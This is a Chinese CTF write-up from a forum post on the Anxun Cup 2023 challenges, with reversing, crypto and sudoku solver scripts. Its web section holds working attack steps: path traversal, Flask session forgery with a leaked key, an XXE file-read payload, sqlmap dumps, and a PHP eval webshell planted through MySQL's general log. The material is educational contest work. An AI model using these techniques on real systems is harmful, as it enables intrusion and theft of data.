首页
社区
课程
招聘
安洵杯2023wp - ukfc战队
发表于: 2023-6-16 16:34 7426

安洵杯2023wp - ukfc战队

2023-6-16 16:34
7426

 喜提牛马第23名,不过对于我来说尽力了。


已补题:

- 迷宫的dfs(属实脑子太累了没查出bug)

- babythread的解析

- CrazyTreat



Web

CarelessPy

1.先大概看一下有哪几个功能

        主界面有一个下载文件

        "ctrl+u" 查看源代码发现两个页面 "/eval" 和 "/login"

 2. 根据消息头 "Server: Werkzeug/1.0.1 Python/3.11.3"、 "/eval"回显是列表格式等判断是     "python flask", 且 "/eval" 使用了 "os.listdir()"函数,

3.用主界面下载文件功能下载 "/download?file=../../../flag" 和 "download?file=../app.py" 均被 "杂鱼"

4.下载 "/download?file=../../../app/__pycache__/part.cpython-311.pyc" 反编译查看 SECRET_KEY 伪造session,

Python
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.11

import os
import random
import hashlib
from flask import *
from lxml import etree
app = Flask(__name__)
app.config['SECRET_KEY'] = 'o2takuXX_donot_like_ntr'

  5. 进/login随便输入然后登陆

Shell
# python3 flask_session_cookie_manager3.py encode -s 'o2takuXX_donot_like_ntr' -t "{'islogin': True}"
eyJpc2xvZ2luIjp0cnVlfQ.ZIRGnA.z_rjwZz9VUGalSyoNK6fo_7Jv2I

   6.提示访问 "/th1s_1s_The_L4st_one"

   7.简单的XXE

Shell
GET /th1s_1s_The_L4st_one HTTP/1.1
Host: 47.108.165.60:37034
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJpc2xvZ2luIjp0cnVlfQ.ZIRGnA.z_rjwZz9VUGalSyoNK6fo_7Jv2I
Connection: close
Content-Length: 157

<?xml version="1.0"?>

<!DOCTYPE GVI [
    <!ENTITY xxe SYSTEM "file:///flag" >
]>

<result>
    <ctf>杂鱼~</ctf>
    <web>&xxe;</web>
</result>

Shell
HTTP/1.0 200 OK
Content-Type: text/xml;charset=UTF-8
Content-Length: 80
Vary: Cookie
Server: Werkzeug/1.0.1 Python/3.11.3
Date: Sat, 10 Jun 2023 11:30:12 GMT

<result><ctf>杂鱼~</ctf><web>SYCTF{corrEC7_aNswER_c720bd6582bf}</web></result>


编辑


Confronting robot

1. 经典单引号

Shell
Warning:  mysqli_fetch_array() expects parameter 1 to be mysqli_result, bool given in /var/www/html/index.php on line 23

2.Sqlmap (别骂了我知道没有灵魂

Shell
sqlmap -u http://47.108.165.60:47293/?myname=1 --dbs --batch
sqlmap -u http://47.108.165.60:47293/?myname=1 -D robot_data --tables --batch
sqlmap -u http://47.108.165.60:47293/?myname=1 -D robot_data -T name --columns --batch

Database: robot_data
Table: name
[1 column]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| username | varchar(256) |
+----------+--------------+

Shell
sqlmap -u http://47.108.165.60:47293/?myname=1 -D robot_data -T name -C username --dump --batch

+-------------------------------------+
| username                            |
+-------------------------------------+
| Hacker                              |
| secret is in /sEcR@t_n@Bodyknow.php |
+-------------------------------------+

3.访问 "/sEcR@t_n@Bodyknow.php" 发现几个可用页面

                传输 POST 传code

                开始挑战, 跳到game.php, 随便填几个RPS, 发现会跟 NULL 比值

Shell

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Fatal error:  Uncaught TypeError: Argument 2 passed to  loseorwin() must be of the type string, null given, called in  /var/www/html/game.php on line 38 and defined in  /var/www/html/game.php:11 Stack trace: #0 /var/www/html/game.php(38): loseorwin('R', NULL) #1 {main}   thrown in /var/www/html/game.php on line 11

                不传参也会跟 NULL 比值但是最后一句变无参了

Shell

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Notice:  Trying to access array offset on value of type null in /var/www/html/game.php on line 31

Fatal error:  Uncaught TypeError: Argument 2 passed to  loseorwin() must be of the type string, null given, called in  /var/www/html/game.php on line 38 and defined in  /var/www/html/game.php:11 Stack trace: #0 /var/www/html/game.php(38): loseorwin('', NULL) #1 {main}   thrown in /var/www/html/game.php on line 11

4.Sqlmap 爆code, 步骤就不放了level和risk都不用, 发现 "choice" 和 "round" 均空表, 再结合 "game.php" 会跟NULL 比值报错,        

                第一种想法是手动填写机器人的参数然后赢十回合得到flag。后经验证没写出来(我太菜了

Shell
Database: game_data
Table: game
[2 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| choice | varchar(256) |
| round  | int(255)     |
+--------+--------------+

Shell
Database: game_data
Table: game
[0 entries]
+--------+
| choice |
+--------+
+--------+

5.再看 "/sEcR@t_n@Bodyknow.php" 传空参可以得到两个函数 "mysqli_query()" 和         "mysqli_fetch_all()", 试着写马传了一下, 然后sql日志写马

Shell
show global variables like "%general%"

        发现有回显

Shell
rray(2) {   [0]=>   array(2) {     [0]=>     string(11) "general_log"     [1]=>     string(3) "OFF"   }   [1]=>   array(2) {     [0]=>     string(16) "general_log_file"     [1]=>     string(39) "web-pursue0h-robot-5754af205ee949e0.log"   } }         

6.继续传发现 secure_file_priv 为空

Shell
show global variables like '%secure%'

Shell
array(3) {   [0]=>   array(2) {     [0]=>     string(11) "secure_auth"     [1]=>     string(2) "ON"   }   [1]=>   array(2) {     [0]=>     string(16) "secure_file_priv"     [1]=>     string(0) ""   }   [2]=>   array(2) {     [0]=>     string(16) "secure_timestamp"     [1]=>     string(2) "NO"   } }

7.试着写马

Shell
set global general_log='on'
set global general_log_file='/var/www/html/shell.php'
select '<?php eval($_REQUEST['cmd']);?>'

        访问 shell.php 发现Access denied , 试了好几个网页都不行, 那就写在         "/sEcR@t_n@Bodyknow.php" 里

Shell
set global general_log_file='/var/www/html//sEcR@t_n@Bodyknow.php'
select '<?php eval($_REQUEST['cmd']);?>'

        访问成功,蚁剑链接之后根目录没找见, 想起来 "game.php"

Shell
if(isset($_GET['round1'])){
    if($count==10){
        echo "SYCTF{r06oT_rOboT_2ae2985843f4}";
    }
    else{
        echo "你输了";
    }
}

 编辑


Reverse

ez_cpp

  • 去花指令,main函数

编辑

  • 逆着看:v14中存放的是密文,先爆破最后比较时的flag:

C++
 int sub_181177(int a1,int a2)
{
    int v2; // edx
    int v3; // edi
    int v4; // ebx

    v2 = 0;
    v3 = 0;
    if (a2 > 0)
    {
        v4 = a2 - 1;
        do
            v2 |= ((a1 >> v3++) & 1) << v4--;
        while (v3 < a2);
    }
    return v2 + 1;
}

 unsigned char miwen[] =
    {
      0x22,  0xA2,  0x72, 0xE6,
      0x52,  0x8C,  0xF2, 0xD4,
      0xA6,  0x0A,  0x3C, 0x24,
      0xA6,  0x9C,  0x86, 0x24,
      0x42,  0xD4,  0x22, 0xB6,
      0x14,  0x42,  0xCE, 0xAC,
      0x14,  0x6A,  0x2C, 0x7C,
      0xE4,  0xE4,  0xE4, 0x1E,
    };
    for (int i = 0; i < 32; i++)
    {
        for (int j = 32; j < 128; j++)
        {
            if ((1 ^ sub_181177(j, 8)) == miwen[i])
            {
                printf("%c", j);//DENgJ1O+eP<$e9a$B+Dm(Bs5(V4>'''x
            }
        }
    }


  • 动调:这个flag经过两次加密,v19和v20对应的是加密函数的地址,(按g)。
  • v20:去花,动调取出v6数组的值,写逆解密:

C++
char miwen2[] = "DENgJ1O+eP<$e9a$B+Dm(Bs5(V4>'''x";
    int v6[32] = { 0,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0 };
    int v4 = 0;
    for (int i = 0; i < 32; i++)
    {

        if (v4 <= 16)
        {
            if (v4 >= 16)
            {
                miwen2[v4] ^= 4u;
            }
            else
            {
                int result = v6[v4];
                if (result)
                {
                    if (!--result)
                        miwen2[v4] ^= 9u;
                }
                else
                {
                    miwen2[v4] += 2;
                }
            }
        }
        else
        {
            int result = v6[v4];
            if (result)
            {
                if (!--result)
                    miwen2[v4] ^= 6u;
            }
            else
            {
                miwen2[v4] += 5;
            }
        }
        ++v4;
    }
    for (int i = 0; i < 32; i++)
    {
        printf("%c", miwen2[i]);//FLPnL3F-lR5-l0h-F0Ir-Gu3-P9C!!!}
    }

v19:去花,将字母往后移13位,多出26的重头开始。

SYC{Y3S-yE5-y0u-S0Ve-Th3-C9P!!!}

babythread

这题大概用了这些东西

        1.rc4加密(对称加密,所以动调改输入的优先级大于仿写)

        2.多线程特性,这题中创建的线程互相独立,所谓的key修改只在子线程他们自己里生效,对后续没有影响

        3.利用tls回调函数的特性进行反调试和真正的key修改,这也是常考的一个点

这个题算是d3rc4的一个简化版

解题

  • TLS回调函数一个反调试,一个静态读取str20位

C++
 __CheckForDebuggerJustMyCode(&unk_F7D0F4);
  result = j_debugg();
  if ( result )
    sub_F7133E(1u);
  return result;

C++
int __stdcall TlsCallback_1_0(int a1, int a2, int a3)    //real key create
{
  FILE *Stream; // [esp+D0h] [ebp-8h]

  __CheckForDebuggerJustMyCode(&unk_F7D0F4);
  Stream = fopen("babyThread.exe", "rb");
  if ( !Stream )
    j_printf_0("Failed to open file %s\n", "babyThread.exe");
  fseek(Stream, 77, 0);
  fread(Str, 1u, 20u, Stream);
  return fclose(Stream);
}


  • 主逻辑的key生成函数会将str截断为16位,不过不重要,直接把密文cv到输入里调过去

编辑

将输入修改为密文,动调到rc4异或位置提取明文即可,写个条件断点,要注意eax存的是数据的地址,不是数

编辑

SYC{Th1s_is_@_EasY_3ncryptO!!!!}

3D_maze

一个6*10*10的三维迷宫,层穿梭是0124350,只有到达边界才能穿层,所以才有唯一解

为了让自己的努力显得有作用一点,贴一个没写明白的dfs,最后手推了一个小时

编辑

编辑

能解的dfs来了

a = [[0,1,0],[0,-1,0],[0,0,-1],[0,0,1]]
 
w = [0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,5,0,1,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
load = []
ans = [0 for i in range(600)]
def dfs(deep,x,y,z):
    if deep > 64 or w[z*100+y*10+x] == 0 or x >= 10 or y >= 10 or z >= 6 or x < 0 or y < 0 or z < 0:
        return
    # 正确输出
    if w[z*100+y*10+x] == 3 and deep == 62:
        for i in load:
            print(i,end='')
        print()
        return
 
    # 平面走
    for i in range(4):
        z += a[i][0]
        y += a[i][1]
        x += a[i][2]
        if w[z*100+y*10+x] != 0 and ans[z*100+y*10+x] == 0:
            if i == 0:
                load.append('s')
            elif i == 1:
                load.append('w')
            elif i == 2:
                load.append('a')
            elif i == 3:
                load.append('d')
            ans[z*100+y*10+x] = 1
            dfs(deep+1,x,y,z)
            ans[z * 100 + y * 10 + x] = 0
            load.pop()
        z -= a[i][0]
        y -= a[i][1]
        x -= a[i][2]
 
    # 穿层
    if z == 2 and y == 0:
        tempz = 4
        tempx = 9
        if w[tempz*100+y*10+tempx] != 0 and ans[tempz * 100 + y * 10 + tempx] == 0:
            load.append('W')
            ans[tempz * 100 + y * 10 + tempx] = 1
            dfs(deep+1,tempx,y,tempz)
            ans[tempz * 100 + y * 10 + tempx] = 0
            load.pop()
        return
    elif z == 3 and y == 9:
        tempz = 5
        tempx = 0
        tempy = 7
        if w[tempz*100+tempy*10+tempx] != 0 and ans[tempz*100+tempy*10+tempx] == 0:
            load.append('S')
            ans[tempz * 100 + tempy * 10 + tempx] = 1
            dfs(deep+1,tempx,tempy,tempz)
            ans[tempz * 100 + tempy * 10 + tempx] = 0
            load.pop()
        return
    elif z == 4 and x == 0:
        tempz = 3
        tempy = 0
        tempx = 2
        if w[tempz*100+tempy*10+tempx] != 0 and ans[tempz*100+tempy*10+tempx] == 0:
            load.append('A')
            ans[tempz * 100 + tempy * 10 + tempx] = 1
            dfs(deep+1,tempx,tempy,tempz)
            ans[tempz * 100 + tempy * 10 + tempx] = 0
            load.pop()
        return
    elif z == 5 and y == 0:
        tempz = 0
        tempy = 9
        if w[tempz*100+tempy*10+x] != 0 and ans[tempz*100+tempy*10+x] == 0:
            load.append('W')
            ans[tempz * 100 + tempy * 10 + x] = 1
            dfs(deep+1,x,tempy,tempz)
            ans[tempz * 100 + tempy * 10 + x] = 0
            load.pop()
        return
    elif z == 1 and x == 9:
        tempz = 2
        tempx = 0
        if w[tempz*100+y*10+tempx] != 0 and ans[tempz*100+y*10+tempx] == 0:
            load.append('D')
            ans[tempz*100+y*10+tempx] = 1
            dfs(deep+1,tempx,y,tempz)
            ans[tempz * 100 + y * 10 + tempx] = 0
            load.pop()
        return
    elif z == 0 and x == 9:
        tempz = 1
        tempx = 0
        if w[tempz * 100 + y * 10 + tempx] != 0 and ans[tempz * 100 + y * 10 + tempx] == 0:
            load.append('D')
            ans[tempz * 100 + y * 10 + tempx] = 1
            dfs(deep + 1, tempx, y, tempz)
            ans[tempz * 100 + y * 10 + tempx] = 0
            load.pop()
        return
if __name__ == '__main__':
    dfs(0,2,7,0)


Crypto

CrazyTreat

对于pq

p的高位泄露,遍历爆破位即可

n =  128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209for i in range(1,256):
    p =  13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576
    bits = i		# bits为求解位数,比如已知312位p2,p为512位,bits = 200
    PR.<x> = PolynomialRing(Zmod(n))
    f = x + p
    roots = f.small_roots(X=2 ^ bits,beta = 0.4)    if roots:        print('P=',p+roots[0])        break# P= 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711

对于R

利用费马小定理构造一个多项式 (m-c1)*(m-c2)*(m-c3) = 0 求解

相当于每一个密文都泄露了一次m 

C1 = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
C2 = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
C3 = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030
n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
R.<x> = PolynomialRing(Zmod(n), implementation='NTL')
f = x**3 - (C1 + C2 + C3) * x**2 + (C1*C2 + C1*C3 + C2*C3) * x - C1*C2*C3
root = f.small_roots()
print(root)

rsa求解

import gmpy2from Crypto.Util.number import *
clown = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209P = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711
c = 10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949
Q = clown // P
R = 105960538296223496551922954965164644267919720177702173352061963871195469608683
n = P*Q*R
e = 65537
phi = (P-1)*(Q-1)*(R-1)
d = gmpy2.invert(e,phi)
print(long_to_bytes(pow(c,d,n)))
# b'SYC{N0b0dy_Kn0vvs_CryPt0_be7t3r_7haN_Me}'


signin

  • Sage 连分数 求解data1、data2

Python
#sage exp
data3 = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588
 
c = continued_fraction(data3)
print(c)
 
alist = c.convergents()
print(alist)
 
for i in alist:
    a = str(i).split('/')
    if len(a)>1 and gcd(int(a[0]),int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) :
            print(a)

#['97093002077798295469816641595207740909547364338742117628537014186754830773717', '67958620138887907577348085925738704755742144710390414146201367031822084270769']


  • 求解p-q

Python
import gmpy2
data1 =97093002077798295469816641595207740909547364338742117628537014186754830773717
data2 =67958620138887907577348085925738704755742144710390414146201367031822084270769
phi = (data1-1) * (data2-1)
d = gmpy2.invert(data1,phi)
c = 1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
m = pow(c,d ,data1 * data2)
print(m)


  • z3求解pq

Python
from z3 import *
q = Real('q')
p = Real('p')
s = Solver()
s.add(p-q == 57684649402353527014234479338961992571416462151551812296301705975419997474236)
s.add(p*q == 2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517)
print(s.check())
print(s.model())


  • 求解明文

Python
from Crypto.Util.number import *
import gmpy2
q = 89050782851818876669770322556796705712770640993210984822169118425068336611139
p = 31366133449465349655535843217834713141354178841659172525867412449648339136903
n = p*q
phi = (q-1) * (p-1)
e = 65537
c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
data2 =67958620138887907577348085925738704755742144710390414146201367031822084270769
m -= data2
print(long_to_bytes(m))

SYC{a00338c150aa3a5163dbf404100e6754}

Alexei needs help

  • 求解ans

Python
import gmpy2 as gp
import sys
sys.setrecursionlimit(100000000)

a =  12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215
b =  10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673
m =  9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817
seq =  [1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]
def seqsum(i):
    ans = 0
    for j in range(len(seq)):
       ans += gp.powmod(i,j,m)*seq[j]
    return ans
w1 = 1
w2 = 1
for i in range(3,2024):
    temp = (a * w2 + b * w1 + seqsum(i)) % m
    w1 = w2
    w2 = temp
    print(i,temp)


  • aes解密

Python
from Crypto.Cipher import AES
from hashlib import md5
from binascii import *


ans = 5163247493229942514529178232067746640236155241995928925465164064900096952872519999937852442623769142690077270244871565985743169621852048447822749270628879
k = unhexlify(md5(str(ans).encode()).hexdigest())
m = b'37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81'


w = unhexlify(m)

aes = AES.new(k, AES.MODE_ECB)
res = aes.decrypt(w)
print(res)


SYC{c7ceedc7197a0d350025fff478f667293ebbaa6b}

Misc

sudoku_easy

  • 直接交互的一个数独,直接写脚本cv

Python
def solve_sudoku(board):
    row, col = find_empty_cell(board)
    if row is None:
        return True  # 数独已经解决
    for num in range(1, 10):
        if is_valid_move(board, row, col, num):
            board[row][col] = num
            if solve_sudoku(board):
                return True
            board[row][col] = 0  # 回溯
    return False

def find_empty_cell(board):
    for i in range(9):
        for j in range(9):
            if board[i][j] == 0:
                return i, j
    return None, None

def is_valid_move(board, row, col, num):

    for i in range(9):
        if board[row][i] == num or board[i][col] == num:
            return False
    box_row = (row // 3) * 3
    box_col = (col // 3) * 3
    for i in range(box_row, box_row + 3):
        for j in range(box_col, box_col + 3):
            if board[i][j] == num:
                return False
    return True

sudoku_str = "000206000090000701386417002000070023900601540175304800019760005003000000807500214"
board = [[int(sudoku_str[i*9+j]) for j in range(9)] for i in range(9)]

if solve_sudoku(board):
    for row in board:
        for i in row:
            print(i,end='')
        print()
else:
    print("None")


SYCTF{e4sY_c77e1acb8238_sUD0KUKUku}

烦人的压缩包

  • 使用工具爆破压缩包密码编辑
  • 得到的图片用binwalk分解
    编辑


  • 得到损坏的压缩包,修改

编辑


  • 解压得到的密文进行解密

编辑

编辑


SYC{Yxx_Say_Thank3Q_v3ry_much}

sudoku_speedrun

  • 和上面的数独题一样,不过只能写交互,pwn手直接秒了

C++
from pwn import *
from ctypes import *
io.recvuntil(b'> ')
i = str('1')
io.sendline(i.encode())
io.recvuntil(b'> ')
i = str('7')
io.sendline(i.encode())
mp=[]
io.recvuntil(b'7\r\n')
for j in range(9):
    if j%3==0:
        io.recvline()
    tmp=[]
    st=io.recvline()
    print('len:',hex(len(st)))
    for i in range(len(st)):
        if i==0:
            continue
        if st[i-1]==0x20 and st[i+1]==0x20:
            if chr(st[i])!='|':
                tmp.append(st[i]-0x30)
        if st[i]==0x33 and st[i+1]==0x32 and st[i+2]==0x6d:
            tmp.append(0)
    print(tmp)
    mp.append(tmp)

  • 使用列表读入,由于字符较多所以得手动实现,写个判断某字符若两侧字符都为空格则该数字为数独上的数。
    观察发现有很多的32m0,数一下得出结论,出现一次则有一个需要填数的地方。完成读入后输出检查。
  • 暴搜细节

C++
def isvalid(i,j):
    for m in range(9):
        if m!=i and mp[m][j]==mp[i][j]:
            return False
    for n in range(9):
        if n!=j and mp[i][n]==mp[i][j]:
            return False
    for m in range(i//3*3,i//3*3+3):
        for n in range(j//3*3,j//3*3+3):
            if m!=i and mp[m][n]==mp[i][j]:
                return False
    return True

def f(a,b):
    for i in range(a,9):
        for j in range(b,9):
            if mp[i][j]==0:
                for c in [1,2,3,4,5,6,7,8,9]:
                    mp[i][j]=c
                    if isvalid(i,j):
                        if f(a,b):
                            return True
                        else:
                            mp[i][j]=0
                    else:
                        mp[i][j]=0
                return False
    return True

f(0,0)
# 利用深度优先搜索和合法判断函数,复杂度很高但是数独很小,肯定可以在限制时间内过掉。
发送细节:
for i in range(9):
    print(mp[i])

for i in range(0,9):
    for j in range(0,9):
        io.send(chr(mp[i][j]+0x30))
        io.send('d')
    io.send('s')


  • 完整exp

Python
from pwn import *
context(log_level='debug')

io=remote('47.108.165.60',31570)
io.recvuntil(b'> ')
i = str('1')
io.sendline(i.encode())
io.recvuntil(b'> ')
i = str('7')
io.sendline(i.encode())
mp=[]
io.recvuntil(b'7\r\n')
for j in range(9):
    if j%3==0:
        io.recvline()
    tmp=[]
    st=io.recvline()
    print('len:',hex(len(st)))
    for i in range(len(st)):
        if i==0:
            continue
        if st[i-1]==0x20 and st[i+1]==0x20:
            if chr(st[i])!='|':
                tmp.append(st[i]-0x30)
        if st[i]==0x33 and st[i+1]==0x32 and st[i+2]==0x6d:
            tmp.append(0)
    print(tmp)
    mp.append(tmp)

def isvalid(i,j):
    for m in range(9):
        if m!=i and mp[m][j]==mp[i][j]:
            return False
    for n in range(9):
        if n!=j and mp[i][n]==mp[i][j]:
            return False
    for m in range(i//3*3,i//3*3+3):
        for n in range(j//3*3,j//3*3+3):
            if m!=i and mp[m][n]==mp[i][j]:
                return False
    return True

def f(a,b):
    for i in range(a,9):
        for j in range(b,9):
            if mp[i][j]==0:
                for c in [1,2,3,4,5,6,7,8,9]:
                    mp[i][j]=c
                    if isvalid(i,j):
                        if f(a,b):
                            return True
                        else:
                            mp[i][j]=0
                    else:
                        mp[i][j]=0
                return False
    return True

f(0,0)

for i in range(9):
    print(mp[i])

for i in range(0,9):
    for j in range(0,9):
        io.send(chr(mp[i][j]+0x30))
        io.send('d')
    io.send('s')

io.interactive()



[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//